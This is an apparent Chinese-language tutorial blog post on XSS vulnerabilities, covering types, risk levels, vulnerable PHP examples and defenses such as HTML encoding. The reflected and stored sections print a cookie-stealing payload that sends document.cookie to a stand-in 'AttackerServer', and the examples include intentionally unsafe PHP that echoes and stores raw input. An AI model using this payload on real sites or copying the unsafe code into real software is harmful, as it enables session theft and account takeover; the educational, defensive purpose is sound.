1、XSS漏洞

XSS漏洞

1、概述

1.1、定义:

跨站脚本攻击漏洞(Cross Site Scripting),为了区别于CSS故而写作XSS。由于网站开发存在缺陷,可允许攻击者通过在Web页面内插入恶意Script代码攻击其他用户的漏洞。

1.2、类型:

  • 反射型
  • 存储型
  • DOM型
  • 反射与dom的区别

1.3、风险等级及危害:

  1. 严重:XSS漏洞构造蠕虫并大面积爆发、通过XSS漏洞获取网站后台权限并可获取webshell 控制服务器。
  2. 中-高危:存储型XSS
  3. 低-中危:反射XSS、DOM XSS

2、漏洞原理+利用

2.1、反射型

网站(例:http://xxx.com/xss.php)存在打印用户输入的功能且未进行防范:

<?php echo $_GET['a'];?>

这时攻击者可以构造:

http://xxx.com/xss.php?a=<script>document.location='http://AttackerServer/getCookie.php?cookie='+document.cookie;</script>

并把这个链接发送给任意用户,当用户点击时,用户的cookie会自动发送到AttackerServer,攻击者便可以利用该cookie登录到用户的账户。

xss漏洞一般都是用来做钓鱼攻击。

2.2、存储型

若网站存在存储型xss漏洞:

<?php
include 'conn.php';
mysql_query("INSERT INTO article VALUES('".$_GET['content']."')");
//......
$result=mysql_query("SELECT content FROM article limit 20");
while ($row = mysql_fetch_array($result)) {
    echo $row['content'];
}
?>

攻击者可以在漏洞点注入恶意js语句对用户进行攻击,例如该漏洞点在某网站的评论区,攻击者在评论区发送了一条恶意的js语句<script>document.location='http://AttackerServer/getCookie.php?cookie='+document.cookie;</script>,网站后台管理员看到时他的cookie就会自动发送到攻击者的http://AttackerServer,若评论审核通过,则凡是看到该评论的用户都会遭受攻击。

2.3、DOM型

网站存在DOM型xss漏洞:

<script> document.write(unescape(window.location.hash)); </script>

3、漏洞挖掘

可以在搜索框、评论区、留言板、个人信息编辑区等地方进行测试,插入简单的js语句(alert(1))进行测试,如成功弹窗,则可以确定存在xss漏洞。
在这里插入图片描述

实际测试中可能需要进行一些绕过。

4、漏洞防御

  1. 纯文本区域,对用户的输入进行htmlencode编码。(例如PHP htmlspecialchars()函数)

htmlencode编码:

编码前编码后
&&amp
&quot
&apos
<&It
>&gt
  1. 富文本区域的过滤十分复杂,可以采用开源库或组建来过滤,设计原则基本上采用设置标签白名单、属性白名单。

PHP可以参考:

XSS过滤引擎1

XSS过滤引擎2

JAVA可以参考:

1

2

  • 13
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值